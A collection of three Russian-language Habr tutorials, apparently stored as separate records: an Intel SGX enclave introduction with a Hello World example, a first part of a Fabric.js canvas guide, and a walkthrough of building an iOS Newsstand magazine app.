В целях безопасности, компоненты системы любого компьютера разделены по уровням привилегий. Во всех современных системах, базирующихся на процессорах Intel и не только, реализована кольцевая система уровней привилегий. От внешнего к внутреннему идет расширение полномочий для кода, который обрабатывается в данный момент процессором.
*Кольцо №3.* На внешнем кольце располагаются все пользовательские приложения, которые мы используем на компьютере в повседневной жизни, они имеют низший уровень доступа.
*Кольцо №2 и №1.* На данных уровнях располагаются операционные системы и драйвера устройств.
*Кольцо №0.* Режим супервизора. Здесь расположено ядро операционной системы (управление периферий, распределение ресурсов между процессами), а также системные драйвера.
*Кольцо №-1.* Гипервизор. Отвечает за распределение ресурсов в случае, если на компьютере одновременно запущены несколько операционных систем, а также отвечает за их изоляцию.
*Кольцо №-2.* Режим системного управления (SMM – System Management Mode). Управляет энергообеспечением системы, управляет платами расширения.
Мы можем формировать всё новые и новые кольца для ограничения полномочий компонентов иерархии, создавая всё более сложную и нагруженную систему. Однако, таким образом работа для злоумышленника только облегчится: чем сложнее система, тем проще найти в ней уязвимость. Но каким же образом обеспечить дополнительный уровень безопасности там, где это требуется? Ответ состоит из одного слова.
### Анклавы
Основной задачей злоумышленника является получение уровня привилегий, который обеспечил бы ему доступ к необходимым ресурсам системы. Если это секрет приложения-жертвы, то злонамеренному приложению необходим именно тот уровень доступа, который отвечает за хранение секретов в системе. Отсюда напрашивается вывод, что управление секретами приложений стоит доверить самому внутреннему кольцу, ведь доступ туда получить сложнее всего. Однако, данный подход был несколько переосмыслен. Теперь все секреты хранятся на одном уровне с пользовательскими приложениями, как и код, который этими секретами управляет за одним условием: никто, абсолютно никто, кроме процессора, не может получить туда доступ. Программа и данные как бы упакованы в хранилище, в данном случае это хранилище называется анклавом (Enclave – закрытый, запертый), ключ от которого есть только у процессора.
### Приложения, работающие с доверенной средой
Чем проще система, чем меньше кода в ней прописано, тем сложнее её вскрыть на основе дыр в защите (мы не говорим о принципиально незащищенных системах), получаем некоторую аксиому: код, работающий с секретом, должен быть максимально простым и коротким. Упаковывать в анклав весь код программы нецелесообразно, поэтому приложение, использующее анклавы, должно быть разделено на две части: «доверенную» и «недоверенную». В доверенной хранятся анклавы (их может быть несколько), а в недоверенной – основной код программы.
Доверенная часть представляет из себя набор функций и процедур, называемых ECALL (Enclave Call). Сигнатура таких функций должна быть прописана в специальном header-файле, а их реализация в файле с исходным кодом. В целом, подход схож с тем, что мы используем при обычном прописывании хедеров, однако, в данном контексте используется специальный C-подобный язык EDL (Enclave Definition Language). Также необходимо прописать прототипы тех функций, которые можно будет вызвать изнутри анклава, такие функции называются OCALL (Outside Call). Прототипы прописываются в том же хедере, где и ECALL-функции, а реализация, в отличие от ECALL, прописывается соответственно в недоверенной части приложения.
Доверенный и недоверенный код жестко связываются между собой сертификацией с использованием протокола Диффи-Хеллмана. За процедуру подписи отвечает процессор, где и хранится ключ обмена информации, обновляющийся каждый раз при перезагрузке системы. Содержимое анклавов хранится в общей памяти, используемой пользовательскими приложениями, однако хранение происходит в зашифрованном виде. Расшифровать содержимое может только процессор. В идеализированном мире, где код анклавов прописан без единого бага, а все железо работает точно так, как это задумал производитель и никак иначе, мы бы получили универсальную, полностью защищенную систему. Основным достоинством данной системы является исполнение секретной части на том же процессоре, где исполняются все остальные программы, в том числе и пользовательские.
Однако, в последние несколько лет перед широкой аудиторий предстало большое количество микроархитектурных уязвимостей современных процессоров, позволяющих получить доступ внутрь анклава: Foreshadow (уязвимость класса Spectre), SGAxe, Zombieload, CacheOut и многие другие. Нет никакой гарантии того, что это список не пополнится очередной серьезной аппаратной уязвимостью, программное исправление которой не иначе как программной «заплаткой» назвать будет нельзя. Возможно, мы доживем до того времени, когда миру будет представлена абсолютно новая архитектура процессоров, в которой будут исправлены все недостатки, а пока, стоит говорить о том, что у нас есть под рукой. А под рукой у нас есть универсальный, мощный инструмент, серьезно повышающий безопасность современных систем. Повышающий настолько, что он реализован в той или иной интерпретации в миллиардах устройств по всему миру: от умных часов, смартфонов до огромных вычислительных кластеров.
### Hello world!
Перейдем от теории к практике. Напишем небольшую программу, которая реализует ставшую уже каноничной задачу: вывести строку «Hello world!». В данной интерпретации укажем ещё и место, откуда будет отправлено послание.
Для начала необходимо скачать и установить SDK для работы с SGX с официального сайта. Для скачивания необходимо пройти простую процедуру регистрации. На этапе установки будет предложено интегрировать пакет разработки в имеющуюся на компьютере версию VS, сделайте это. Всё готово для успешной реализации первого проекта с использованием SGX.
Запускаем VS и создаем проект Intel SGX.
Выбираем имя для проекта и для решения и ждем «далее».
Далее будет предложено выбрать конфигурацию проекта, ничего не меняйте, оставьте те значения, которые предложены изначально.
Затем добавьте к созданному решение ещё один проект: обычное консольное приложение C++.
В результате в диалоговом окне проектов должна получиться следующая картина:
Затем необходимо связать анклав с недоверенной частью. Жмем правой кнопкой на проект «Untrusted part».
Далее необходимо изменить некоторые свойства проектов.
Это необходимо проделать для корректной работы программы. Повторяем действия для обоих проектов.
Также необходимо обозначить в свойствах решения главный проект.
Всё, наша программа готова к реализации.
В данной программе будет 3 файла, с которыми мы будем работать: Enclave.edl (тот самый хедер), Enclave.cpp (прописана реализация ECALL’ов), Untrusted Part.cpp (главный файл проекта – недоверенная часть).
Поместим в файлы следующий код:
**Untusted Part.cpp:**
```
#define ENCLAVE_FILE "Enclave.signed.dll" //библиотека, через которую осуществляется подпись анклава
#include "sgx_urts.h" //базовый хедер, в котором упакованы функции создания и удаления анклава и многие другие
#include "Enclave_u.h" //подключение автоматически сгенерированного файла
#include "stdio.h"
void print_string(char* buf) //OCALL для вывода текстовой строки - секрета из анклава
{
printf("ocall output: %s\n", buf);
}
int main()
{
sgx_enclave_id_t eid; // id анклава, в проекте может быть несколько анклавов, каждый со своим id
sgx_status_t ret = SGX_SUCCESS; //необходимо для отлавливания ошибок на этапе доступа к анклаву
sgx_launch_token_t token = { 0 }; //инициализация токена запуска для анклава
int updated = 0; // токен запуска не был изменен
const int BUF_LEN = 30; //размер буфера данных, которые мы отправляем в анклав
ret = sgx_create_enclave(ENCLAVE_FILE, SGX_DEBUG_FLAG, &token, &updated, &eid, NULL); //функция создания анклава
if (ret != SGX_SUCCESS)
{
printf("Failed to create enclave with error number: %#x\n", ret); //отлавливаем ошибки
return 0;
}
char buf[BUF_LEN]; //создаем пустую переменную, в которую запишем секрет из анклава
enclaveChat(eid, buf, BUF_LEN); //вызов ECALL функции
printf("\noutput form main(): %s\n", buf); //вывод полученного секрета
}
```
**Enclave.edl:**
```
enclave {
from "sgx_tstdc.edl" import *;
trusted {
/* define ECALLs here. */
public void enclaveChat([out, size=len] char* str, size_t len);
/* прописываем сигнатуру функции, которая работает с секретом. OUT - указывает на то, что данные
отправляются из анклава в основную программу, out по отношению к местоположению функции.
Также, для строковых и символьных переменных необходимо прописывать размер буфера информации,
который мы отправляем или получаем из анклава.
*/
};
untrusted {
/* define OCALLs here. */
void print_string([in, string] char* buf); //прописываем сигнатуру функции, которая будет осуществлять вывод секрета
};
};
```
**Enclave.cpp:**
```
#include "Enclave_t.h"
#include "sgx_trts.h"
#include
void enclaveChat(char\* str, size\_t len)
{
char\* secret = "Hello from better place"; // Наша секретная фраза
memcpy(str, secret, len); //копируем секрет по ссылке, которую получили
print\_string(secret); //вызов OCALL-функции вывода строки
}
```
Жмем f7 – собираем решение, а затем ctrl+f5 для запуска.
Если у вас выдало ошибку следующего содержания:
убедитесь, что в BIOS активирован Intel SGX: Bios: Security/IntelSGX/Enabled.
В случае, если никаких ошибок не последовало, а перед экраном на консоли вы увидели следующие строки:
… то могу поздравить, ваша первая программа с использованием технологии Intel SGX готова. Надеюсь, комментарии в коде были исчерпывающими для понимания, в противном случае, вы всегда можете задать вопросы здесь в комментариях или в личных сообщениях. | https://habr.com/ru/post/518004/ | null | ru | null |
# Знакомимся с Fabric.js. Часть 1-я
Сегодня я хочу познакомить вас с [Fabric.js](http://fabricjs.com) — мощной Javascript библиотекой для работы с [HTML5](http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html) . Fabric включает в себя обектную модель, которой так не хватает при работе с , а так же SVG парсер, интерактивный слой и множество других, незаменимых инструментов. Это полностью открытая библиотека с MIT лицензией и многими взносами разработчиков за последние несколько лет.
Работу над Fabric я начал 3 года назад, когда понял насколько тяжело работать с обычным canvas API. В тот момент я создавал интерактивный редактор — мой стартап, где мы даём возможность создать дизайн и напечатать его на одежде, или других товарах. Редактор хотелось сделать удобным и супер интерактивным. В то время, такой функционал можно было создать только во Flash. Но Flash использовать я не хотел. Я предпочитаю Javascript, и был уверен, что с ним можно добиться многого. Получилось довольно неплохо. Даже сейчас очень немногие визуальные редакторы могут делать то, что можно достичь с помощью Fabric.
Зачем это нужно?
----------------
В последнее время популярность [Canvas](http://http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html) растёт и люди на нём делают [довольно](http://net.tutsplus.com/articles/web-roundups/21-ridiculously-impressive-html5-canvas-experiments/) [поразительные](http://speckyboy.com/2011/12/07/20-amazing-implementations-of-html5-canvas/) [вещи](http://artatm.com/2012/01/23-truly-amazing-and-unbelievable-html5-canvas-and-javascript-experiments/). Проблема в том, что родной canvas API [ужасно низко-уровневый](http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#2dcontext). Одно дело если нужно нарисовать несколько простых фигур или графиков, и забыть о них. Другое — интерактивность, изменение картинки в какой-то момент, или рисование более сложных фигур.
Вот именно для этого и нужна Fabric.js
Дело в том, что обычные canvas методы позволяют нам вызывать только очень простые графические комманды, в слепую меняя целый битмап холста (canvas). Нужно нарисовать прямоугольник? Используем `fillRect(left, top, width, height)`. Нарисовать линию? Используем комбинацию `moveTo(left, top)` и `lineTo(x, y)`. Как будто рисуем **кисточкой по холсту**, накладывая всё больше и больше краски, почти без какого-либо контроля.
Fabric даёт нам объектную модель поверх низко-уревневых методов canvas, хранит состояние холста, и позволяет работать с обьектами напрямую.
Давайте посмотрим на разницу между canvas и Fabric. Допустим, нужно нарисовать красный прямоугольник. Используя canvas API, это делается приблизительно так:
```
// берём canvas элемент (id="c")
var canvasEl = document.getElementById('c');
// берём 2d контекст, на котором рисовать ("bitmap" упомянутый ранее)
var ctx = canvasEl.getContext('2d');
// меняем fill (закраску) цвета контекста
ctx.fillStyle = 'red';
// создаём прямоугольник в точке 100,100 размером в 20x20
ctx.fillRect(100, 100, 20, 20);
```
А вот тоже самое с Fabric:
```
// создаём "оболочку" вокруг canvas элемента (id="c")
var canvas = new fabric.Canvas('c');
// создаём прямоугольник
var rect = new fabric.Rect({
left: 100,
top: 100,
fill: 'red',
width: 20,
height: 20
});
// добавляем прямоугольник, чтобы он отобразился
canvas.add(rect);
```
Разницы в размере кода пока не видно. Однако, видно что способ работы с canvas кардинально отличается. В обычном canvas API, мы работаем с контекстом. Контекст — это объект, который по сути представляет из себя битмап холста. С Fabric, мы управляем именно объектами — создаём, меняем параметры, добавляем их на canvas. Как видите, эти объекты — полноценные жители в Fabric (объекты первого класса).
Рисовать красный прямоугольник — это конечно не серьёзно. Давайте хоть сделаем с ним что-нибудь интересное. Например, повернём на 45 градусов.
Сначала, используя обычные методы:
```
var canvasEl = document.getElementById('c');
var ctx = canvasEl.getContext('2d');
ctx.fillStyle = 'red';
**ctx.translate(100, 100);
ctx.rotate(Math.PI / 180 \* 45);
ctx.fillRect(-10, -10, 20, 20);**
```
и теперь с помощью Fabric:
```
var canvas = new fabric.Canvas('c');
// создаём прямоугольник с углом в 45 градусов
var rect = new fabric.Rect({
left: 100,
top: 100,
fill: 'red',
width: 20,
height: 20,
**angle: 45**
});
canvas.add(rect);
```
Что здесь происходит?
Используя Fabric, всё что надо было сделать, это поменять значение угла на `45`. А вот с обычными методами всё не так-то просто. Во первых, мы не можем управлять объектами напрямую. Вместо этого, приходится менять позицию и угол самого битмапа (`ctx.translate`, `ctx.rotate`). Потом рисуем прямоугольник, при этом не забывая отодвинуть битмап соответственно (-10, -10), так, чтобы прямоугольник появился на 100,100. Ещё надо не забыть перевести угол из градусов в радианы при повороте битмапа.
Теперь вам, наверное, становится понятно зачем существует Fabric.
Давайте посмотрим на ещё один пример — хранение состояния canvas.
Представим, что в какой-то момент нам нужно подвинуть этот красный прямоугольник в другое место. Как это сделать, не имея возможность управлять объектами? Вызывать `fillRect` ещё раз?
Не совсем. Вызывая ещё одну команду `fillRect`, прямоугольник рисуется прямо поверх всего битмапа. Именно поэтому я привёл аналог кисти с краской. Чтобы подвинуть фигуру, нам нужно сначала стереть предыдущий результат, а потом уже рисовать на новом месте.
```
var canvasEl = document.getElementById('c');
...
ctx.strokRect(100, 100, 20, 20);
...
// стираем весь canvas
**ctx.clearRect(0, 0, canvasEl.width, canvasEl.height);
ctx.fillRect(20, 50, 20, 20);**
```
А теперь с Fabric
```
var canvas = new fabric.Canvas('c');
...
canvas.add(rect);
...
**rect.set({ left: 20, top: 50 });
canvas.renderAll();**
```
Заметьте очень важную разницу. Нам не пришлось абсолютно ничего стирать перед рисованием. Просто продолжаем работать с объектами, меняя их атрибуты, а потом перерисовываем canvas, чтобы увидеть изменения. Таким образом можно изменить десятки объектов, и в конце одной командой обновить экран.
Объекты
-------
Мы уже видели как работать с прямоугольниками, используя `fabric.Rect` конструктор. Но, конечно же, Fabric предоставляет многие другие простые фигуры: круги, треугольники, эллипсы и т.д. Все они доступны из `fabric` объектов, соответственно, `fabric.Circle`, `fabric.Triangle`, `fabric.Ellipse` и т.д.
7 базовых фигур доступных в Fabric:
* [fabric.Circle](http://fabricjs.com/docs/symbols/fabric.Circle.html)
* [fabric.Ellipse](http://fabricjs.com/docs/symbols/fabric.Ellipse.html)
* [fabric.Line](http://fabricjs.com/docs/symbols/fabric.Line.html)
* [fabric.Polygon](http://fabricjs.com/docs/symbols/fabric.Polygon.html)
* [fabric.Polyline](http://fabricjs.com/docs/symbols/fabric.Polyline.html)
* [fabric.Rect](http://fabricjs.com/docs/symbols/fabric.Rect.html)
* [fabric.Triangle](http://fabricjs.com/docs/symbols/fabric.Triangle.html)
Нужно нарисовать круг? Просто создаём соответствующий объект и добавляем его на холст. Тоже самое с другими формами:
```
var circle = new fabric.Circle({
radius: 20, fill: 'green', left: 100, top: 100
});
var triangle = new fabric.Triangle({
width: 20, height: 30, fill: 'blue', left: 50, top: 50
});
canvas.add(circle, triangle);
```
… и вот уже на холсте красуется зелёный круг в точке 100, 100 и синий треугольник в точке 50, 50.
#### Управляем объектами
Создание визуальных фигур — это только цветочки. В какой-то момент наверняка понадобится их менять. Возможно, какие-то действия пользователя должны сказываться на состоянии картинки (холста), или должна быть запущена анимация. Или же нужно поменять атрибуты объектов (цвет, прозрачность, размер, позицию) в зависимости от движений мышки.
Fabric берёт на себя заботу о состоянии холста и перерисовке. От нас требуется только менять сами объекты.
В предыдущем примере было видно, как метод `set` подвинул объект на новую позицию `set({ left: 20, top: 50 })`. Точно также можно менять любые другие атрибуты, которых доступно несколько.
Во первых, есть атрибуты, меняющие позицию — **left**, **top**; размер — **width**, **height**; сам рендеринг (отображение объекта) — **fill**, **opacity**, **stroke**, **strokeWidth**; масштаб и поворот — **scaleX**, **scaleY**, **angle**; и даже переворот (180 градусов) — **flipX**, **flipY**.
Да, отобразить зеркально повёрнутую картинку в Fabric на удивление легко — просто присваеваем `true` в атрибут flip\*.
Чтение атрибутов происходит с помощью метода `get`, присваивание — с помощью `set`. Давайте как-нибудь поменяем наш прямоугольник.
```
var canvas = new fabric.Canvas('c');
...
canvas.add(rect);
rect.set('fill', 'red');
rect.set({ strokeWidth: 5, stroke: 'rgba(100,200,200,0.5)' });
rect.set('angle', 15).set('flipY', true);
```
Мы выставили “fill” значением “red”, меняя цвет объекта на красный. Затем поменяли “strokeWidth” и “stroke”, что добавляет прямоугольнику 5и-пиксельную рамку светло-зелёного цвета. И наконец, меняем атрибуты “angle” и “flipY”. Заметьте, как три выражения используют слегка разный синтакс.
Отсюда видно, что `set()` — довольно универсальный метод. Он предназначен для частого использования, поэтому заточен под удобство.
Ну, а как насчёт чтения? Я уже упомянул, что есть общий `get()`, а также набор конкретных `get*()` методов. Например, для получения “width” объекта можно использовать `get('width')` или `getWidth()`. Для “scaleX” — `get('scaleX')` или `getScaleX()`, и т.д. Такие специальные методы, как `getWidth()` и `getScaleX()` существуют для всех “публичных” атрибутов объекта (“stroke”, “strokeWidth”, “angle”, и т.д.)
Вы наверное заметили, что в предыдущих примерах были использованы конфигурационные хэши, которые выглядели точно также, как и те, которые мы только что использовали в методе `set`. Это потому, что они действительно одинаковые. Объект может быть «сконфигурирован» в момент создания, или позже, с помощью метода `set`. Синтакс, при этом, абсолютно одинаковый:
```
var rect = new fabric.Rect({ width: 10, height: 20, fill: '#f55', opacity: 0.7 });
// полностью идентичен
var rect = new fabric.Rect();
rect.set({ width: 10, height: 20, fill: '#f55', opacity: 0.7 });
```
#### Атрибуты по умолчанию
У всех объектов в Fabric есть набор значений по умолчанию. Они используются, когда во время создания мы не задаём другие значения. Привожу пример.
```
var rect = new fabric.Rect(); // не передаём никаких параметров
rect.getWidth(); // 0
rect.getHeight(); // 0
rect.getLeft(); // 0
rect.getTop(); // 0
rect.getFill(); // rgb(0,0,0)
rect.getStroke(); // null
rect.getOpacity(); // 1
```
Прямоугольник получил значения по умолчанию. Он находится в позиции 0,0, чёрного цвета, непрозрачный, не имеет ни рамок, ни габаритов (ширина и высота равны нулю). Из-за этого мы его и не видим. Как только устанавливаем позитивные width/height, чёрный прямоугольник появляется в левом верхнем углу.
#### Иерархия и Наследование
Объекты Fabric не существуют сами по себе. Они формируют чёткую иерархию.
Большинство объектов наследуют от `fabric.Object`. `fabric.Object` — это абстрактная 2-х мерная фигура на плоскости. Она имеет left/top и width/height атрибуты, а также набор других визуальных параметров. Те атрибуты, которые мы видели ранее (fill, stroke, angle, opacity, flip\* и т.д.) принадлежат всем Fabric объектам, которые наследуют от `fabric.Object`.
Такое наследование очень удобно. Оно позволяет нам определить методы на `fabric.Object`, таким образом делая его доступным во всех «классах»-потомках. Например, если нужен метод `getAngleInRadians` на всех объектах, просто создаём его на `fabric.Object.prototype`:
```
fabric.Object.prototype.getAngleInRadians = function() {
return this.getAngle() / 180 * Math.PI;
};
var rect = new fabric.Rect({ angle: 45 });
rect.getAngleInRadians(); // 0.785...
var circle = new fabric.Circle({ angle: 30, radius: 10 });
circle.getAngleInRadians(); // 0.523...
circle instanceof fabric.Circle; // true
circle instanceof fabric.Object; // true
```
Как видите, метод теперь доступен всем объектам.
Разумеется, классы потомки могут не только наследовать от `fabric.Object`, но и определять свои собственные методы, и параметры. Например, в `fabric.Circle` существует дополнительный атрибут “radius”. Или возьмём к примеру `fabric.Image`, с которым мы познакомимся подробнее чуть позже. В нём имеются методы `getElement`/`setElement`, предназначенные для чтения/записи HTML элемента ![](), на котором основан объект типа `fabric.Image`.
### Canvas (холст)
Мы рассмотрели в подробности объекты; давайте опять вернёмся к canvas.
Как видно из примеров, первое — это создание самого «холста» для рисования — `new fabric.Canvas('...')`. fabric.Canvas — это, по сути, оболочка вокруг елемента, ответственная за управление всеми содержащимися на нём объектами. Конструктор берёт id элемента, и возвращает объект типа `fabric.Canvas`.
Теперь в него можно добавлять объекты (`add()`), а также их читать (`item()`, `getObjects()`), или удалять (`remove()`):
```
var canvas = new fabric.Canvas('c');
var rect = new fabric.Rect();
canvas.add(rect); // добавляем
canvas.item(0); // получаем fabric.Rect, добавленный ранее (первый объект)
canvas.getObjects(); // поучаем все объекты (прямоугольник будет первым и единственным)
canvas.remove(rect); // удаляем прямоугольник
```
Как мы уже выяснили, главная задача `fabric.Canvas` — это управление объектами, которые на нём находятся. Также, его можно **сконфигурировать** через набор параметров. Такие настройки, как изменение фона холста, скрывание объектов по маске, изменение общей длины/ширины, включение/выключение интерактивности — эти, и другие опции можно выставить прямо на `fabric.Canvas` как во время создания, так и позже:
```
var canvas = new fabric.Canvas('c', {
backgroundColor: 'rgb(100,100,200)',
selectionColor: 'blue',
selectionLineWidth: 2
// ...
});
// или
var canvas = new fabric.Canvas('c');
canvas.backgroundImage = 'http://...';
canvas.onFpsUpdate = function(){ /* ... */ };
// ...
```
#### Интерактивность
Одна из самых уникальных возможностей Fabric, встроеная прямо в ядро, это слой интерактивности. Он позволяет пользователю манипулировать объектной моделью, с которой мы только что ознакомились.
Объектная модель существует для програмного доступа. А что нужно, чтобы управлять объектами мышкой (или тачпадом, на мобильных устройствах)? Для этого в Fabric заложен функционал пользовательского доступа. Как только мы создаём холст через `new fabric.Canvas('...')`, объекты, расположенные на нём, сразу же можно выделять, двигать, масштабировать, вращать и даже **групировать вместе**, управляя ими как одним целым!
 | https://habr.com/ru/post/162367/ | null | ru | null |
# Newsstand app. Создание iOS журнала
Последнее время я занимался разработкой iOS версии одного бумажного журнала. Собственно, это и есть попытка раскрыть сию тему.
Начну со вступления. Что же такое Newsstand? Откуда возникла такая сущность и во что она превратилась? Размышляя, пришел к следующему: это версия журнала, обернутая в iOS программу, отличается от pdf просто невменяемым размером. Одна из причин — огромная куча картинок. Однако, эта куча и создает глянец iOS журнала. Причиной же появления идеи Newsstand, я так понимаю, была позиция Apple, относительно прав собственности на некий контент. Т.е. была задача честно (часто платно) распространять периодику, да так, чтоб ее было трудно копипастить. Эти ребята с задачей справились — полагаю нету электронного издательства с большим денежным оборотом, чем Newsstand (если так можно сказать).
Ознакомившись, на уровне пользователя, с несколькими журналами, настало время искать техническое решение. Первым, всплыл Newsstand Kit.
Newsstand Kit состоит из следующих штуковин: особый механизм управления библиотекой (NKLibrary) отдельных выпусков журнала (NKIssue) и их загрузка (NKAssetDownload), включающая бэкграунд загрузку. Ну клево! Однако, на тот момент мне было совершенно неясно как превратить эти штуковины в журнал.
Все же. Очевидно, что программка-журнал состоит из двух частей: менеджмент выпусков журнала и отображение отдельного журнала. Т.е. Newsstand Kit ориентирован на первую составляющую — менеджмент. Вторую составляющую — отображение одного выпуска журнала — Apple никак не обременила какими-то шаблонами. Начну с нее, второй.
Теоретически, мы имеем всю необходимую информацию, скачанную с нашего сервера, и обязаны ее отобразить. Т.е. речь пошла о ''Приложении-брошюре''. Скачанную информацию можно, условно, разделить на сырцы (изображения, фильмы, тексты, html-ины, pdf-ы) и конфиг, по которому мы сможем все это собрать воедино. Предполагаю, что не всем будет интересно читать про ''Брошюрку'', потому отправляю таких далее — к части о менеджменте.
Как я упоминал выше, Apple мало ограничивает разработчиков в части отображения конкретного журнала. Однако, наверное, принято хорошим тоном, листание журнала свайпом. Для этого я использовал UIScrollView и идею бесконечного скролла (dev apple -> WWDC -> ScrollView Techniques -> Infinite scrolling). Если в двух словах, то на всю главную View нужно положить UIScrollView. У UIScrollView установить contentSize в три экрана по ширине, и положить на нее, последовательно три UIView (каждая, размером с один экран). Там еще пара настроек и мы имеем красивое листание по свайпу. На финише остается реализовать метод делегата у UIScrollView — scrollViewDidEndDecelerating: — и, по нему, обновлять внутренние UIView. Усложнение бесконечного скролла — если вложить в видимую UIVeiw еще один, аналогичный, UIScrollView — приводит к горизонтальному и вертикальному перелистыванию.
ОК. Остается вопрос: а где же брать нужные в данный момент UIView?
Начнем с ''данного момента''. Можно сказать, что его характеристикой является номер открытой страницы журнала. Выходит что нам, в приложении, нужна штуковина, которая будет хранить индекс текущей страницы. Такая штуковина нужна одна на все приложение, и к ней должен быть простой доступ — нам нужен синглтон. Имея индекс, вопрос сводится к новому: где взять UIView адекватный индексу? Наверное, конфиг его знает. Ну и далее: а почему бы не попросить наш синглтон прочитать конфиг и, зная индекс, выдать нужную вьюшку? Приведу интерфейс синглтона и перейдем к конфигу
```
@interface DataManager : NSObject
@property (nonatomic) int articleIndex;
@property (nonatomic) int pageIndex;
@property (nonatomic, strong) NSArray *articles;
+ (id) sharedManager;
- (UIView *) currentView;
- (UIView *) prevView;
- (UIView *) nextView;
- (UIView *) upperView;
- (UIView *) lowerView;
- (int) lastArticleIndex;
- (int) lastPageIndex;
@end
```
Конфигом в Objective-C принято или удобно видеть .plist файл. Собственно, нужно собрать plist, который будет отображать страницы журнала, какие-то настройки этих страниц и линки на сырцы. Полагаю, на примерах будет понятнее
```
class
SimplePage
properties
baseImage
1-0.png
```
```
class
PhotoPage
properties
baseImage
9-0-4.png
photos
photo
9-1-f1.png
thumbnail
9-1-f1m.png
```
Полагаю, что вы заметили первое свойство каждой страницы — class. Ага, как удобно! Написал в конфиге имя класса, и по нему создал нужную страничку. Фрагмент вышеупомянутого синглтона
```
- (UIView *) currentView {
NSArray *article = [self.articles objectAtIndex:articleIndex];
NSDictionary *page = [article objectAtIndex:pageIndex];
return [self viewWithDictionary:page];
}
- (UIView *) viewWithDictionary: (NSDictionary *) dictionary {
Class class = NSClassFromString([dictionary valueForKey:@"class"]);
NSDictionary *pageProperties = [dictionary valueForKey:@"properties"];
UIView *uiView = [[class alloc] initWithDictionary:pageProperties];
return uiView;
}
```
Что осталось упомянуть? Покажу интерфейс SimplePage. Остальные классы страниц, так или иначе, наследуют его
```
@interface SimplePage : UIView
@property (nonatomic, strong) NSString *imageDirectory;
- (id) initWithDictionary: (NSDictionary *) pageProperties;
@end
```
Т.е. мы создаем набор классов, которые наследуют UIView, и согласно этим классам пишем конфиг одного журнала.
Вот еще всплыла переменная imageDirectory. Тут дело в том, что позднее нам нужно будет собрать картинки брошюры, положить к ним plist и отправить это добро жить на сервер. Посему, вместо добавления картинок в проект, я их собирал в папочке симулятора — DocumentsDirectory. А вот ее инициализация
```
#if IS_LOCAL
// doc/img dir
imageDirectory = [DocumentsDirectory stringByAppendingPathComponent:@"img"];
#else
// issue dir
NKIssue *nkCurrentlyReadingIssue = [[NKLibrary sharedLibrary] currentlyReadingIssue];
imageDirectory = [nkCurrentlyReadingIssue.contentURL path];
#endif
#if DEBUG
NSLog(@"imageDirectory %@", imageDirectory);
#endif
```
Вот и все, что я хотел рассказать про вариант реализации отображения одного журнала. Пойдем дальше?
**NK Менеджмент**
Само слово предполагает, что менеджерить нужно что-то. Коллекцию чего-то, скачанную с сервера. Так мы приходим к еще одной структуре. Чтоб ее понять, нужно поверхностно рассмотреть NKLibrary и NKIssue.
По простому, NKLibrary это коллекция для NKIssue-s. NKLibrary имеет ряд полезностей, т.е. это коллекция, заточенная под Newsstand. Еще это синглтон и, пожалуй, на данном этапе, все.
NKIssue хранит информацию про один журнал. Минимально, issue, обязана иметь имя и дату. Если я не ошибаюсь, имя будет ключом, а по дате будет сортировка.
Итак, что-то, где-то подсмотрев, мы имеем issues.plist
```
Name
f-2
Title
лето/осень 2013
Date
2013-11-28T08:00:00Z
Cover
http://fo-nt.net/f/f2.png
Content
http://fo-nt.net/f/f2.zip
```
Качаем plist с сервера, перебираем его, создаем NKIssue и добавляем их в NKLibrary
```
NKLibrary *nkLib = [NKLibrary sharedLibrary];
issuesDictionary = [NSArray arrayWithContentsOfFile:issuesPlistFilePath];
for (NSDictionary *issueDictionary in issuesDictionary) {
NSString *name = [issueDictionary valueForKey:@"Name"];
NKIssue *nkIssue = [nkLib issueWithName:name];
if(!nkIssue) {
[nkLib addIssueWithName:name date:[issueDictionary objectForKey:@"Date"]];
NSString *coverPath = [issueDictionary valueForKey:@"Cover"];
if (IS_RETINA) coverPath = [self retinaURLStringForString:coverPath];
NSString *coverName = [coverPath lastPathComponent];
```
Поясню. Естественно, что тут мы уже импортировали NewsstandKit. Иначе, как мы могли знать про NKLibrary и NKIssue? С легкостью в строчку, получаем экземпляр NKLibrary — nkLib. Перебирая массив, мы просим у nkLib дать нам конкретный журнал, по его имени. Если библиотека скажет ''фиг Вам'' — станет понятно, что в конфиге журнал есть, а в библиотеке — нету -> нужно добавить.
В листинге, еще есть строчка 'if (IS\_RETINA)'. Кратенько, тут дело в том, что все картинки журнала находятся на сервере. Тут мы уже знаем, какой у нас дисплей. Ну и зачем же качать картинки для чужого дисплея. Забегая вперед, скажу, что комплект закачки, для каждого журнала, Apple рекомендует оформить в виде архива. На финише, логично, сделать два архива на один журнал: простой и @2x.
Есть у нас актуальная NKLibrary. Скромно, но уже можно отобразить UI имеющихся журналов.
Визуализация отображения библиотеки для каждого журнала своя. Однако, есть что-то устоявшееся. Есть NKIssue с набором свойств — отображаем их. Среди них, особенно интересно, свойство ''статус'', которое может быть: none, downloading и available. Это я веду к тому, что отображенный журнал можно загружать, ожидать окончания загрузки и читать, соответственно.
Загружать нужно комплект, который был подготовлен на этапе создания брошюры. NKAssetDownload это третья NK штуковина — специализированный загрузчик для Newsstand (наверное так). Процедура: с помощью NKIssue и NSURLRequest (полученного из NSURL, который, в свою очередь получен из строки URL для выбраного журнала), создаем экземпляр NKAssetDownload. У него нужно вызвать метод downloadWithDelegate:(id )delegate
```
NSURLRequest *req = [NSURLRequest requestWithURL:downloadURL];
NKAssetDownload *assetDownload = [nkIssue addAssetWithRequest:req];
[assetDownload downloadWithDelegate:self];
[assetDownload setUserInfo:[NSDictionary dictionaryWithObjectsAndKeys:
[NSNumber numberWithInt:index], @"Index", nil]];
```
Фичей NKAssetDownload есть background downloading. Она обязательна для Newsstand. Это означает, что загрузка будет продолжена в фоновом режиме. Там еще есть вкусности. Однако bg загрузка нас интересует, поскольку накладывает обязанность, при возвращении, вызвать у всех экземпляров NKAssetDownload метод downloadWithDelegate:
```
for (NKAssetDownload *assetDownload in [nkIssue downloadingAssets]) {
[assetDownload downloadWithDelegate:self];
}
```
Тут, похоже, все. Реанимируем загрузку каким-нибудь прогресс баром и ожидаем ее окончания. По окончании загрузки, корректно, заменить иконку приложения: [[UIApplication sharedApplication] setNewsstandIconImage: [publisher coverImageForIssue:nkIssue]]. Если мы использовали архив, то разархивировать его. Ах, да, приложение, после загрузки журнала, обязано записать его файлы по пути свойства NKIssue contentURL (не уверен, обязано ли. Возможно, там что-то оптимизировано).
